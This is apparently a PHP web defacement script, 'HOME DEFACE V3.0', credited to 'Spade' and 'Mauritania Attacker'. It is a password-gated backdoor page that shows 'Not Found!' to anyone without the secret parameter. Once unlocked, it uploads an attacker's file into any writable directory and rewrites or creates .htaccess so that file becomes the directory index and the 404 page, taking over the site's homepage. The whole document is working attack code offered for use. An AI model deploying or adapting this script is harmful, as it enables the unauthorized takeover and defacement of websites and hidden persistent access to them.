//Respect Coders
//Leeching My Script wont make you a real Coders ~Mauritania Attacker
if(!isset($_GET['spade'])){
echo "
Not Found!
";
}else{
$spade = $_GET['spade'];
$pass = "azazel"; //<====Change this if you want :)) Usage:: ?spade=*the password you set here :))
if($spade == ""){ sleep(1); die('');}
if($spade != $pass){ sleep(1); die('');}else{
$file = basename(__FILE__, '.php');
echo "
HOME DEFACE V3.0
Coded by Spade
I Created this because many script kiddies nowadays cant backup a single index.php file
";
if(isset($_POST['dir']) && (!empty($_POST['dir']))){
$dir = $_POST['dir'];
sleep(2);
echo "Checking if [{$dir}] is Directory!
";
if(!is_dir($dir)){
die('[{$dir}] is not Directory!');
exit;
}else{
echo "[{$dir}] is Directory!
Checking if Dir[{$dir}] is Writable!
";
sleep(1);
if(!is_writable($dir)){
die('[{$dir}] is not Writable!');
exit;
}else{
echo "[{$dir}] is Writable!
";
global $dir;
if($directory = opendir($dir)){
if(readdir($directory)){
$temp = explode(".",$_FILES["file"]["name"]);
$newfile = "spade.".end($temp);
if(@copy($_FILES["file"]["tmp_name"], $dir.$newfile)){
echo "File Uploaded!
Checking if Target File Exists!
";
$targetfile = ".htaccess";
if(!file_exists($dir.$targetfile)){
echo "Target File not Found!
Creating that File :)
";
$htaccess = "####SPADE WAS HERE####\nDirectoryIndex {$newfile}\nErrorDocument 404 /{$newfile}";
$fopen = fopen($dir.".htaccess","w");
$fwrite = fwrite($fopen, $htaccess);
if(!$fwrite){ echo "Cant Create Target File in {$dir}
";}else{
echo "Target File Created in {$dir}
>>Check Homepage<<";
}
fclose($fopen);
}else{
echo "Target File Found!
";
$htaccess = "####SPADE WAS HERE####\nDirectoryIndex {$newfile}\nErrorDocument 404 /{$newfile}";
if(@is_file($dir.$targetfile)&&@is_writable($dir.$targetfile)){ $put = @file_put_contents($dir.$targetfile, $htaccess."\n".@file_get_contents($dir.$targetfile)); if($put){ echo ">>Check Homepage<<"; }else{ echo "An Error Occured!"; }}
}//if htaccess exists
}//if file uploaded
}//readdir
}//opendir
}// if directory is writable
}// if input is dir
}
echo "";
}//Spade == to its password
}//if ?spade Not Found
?>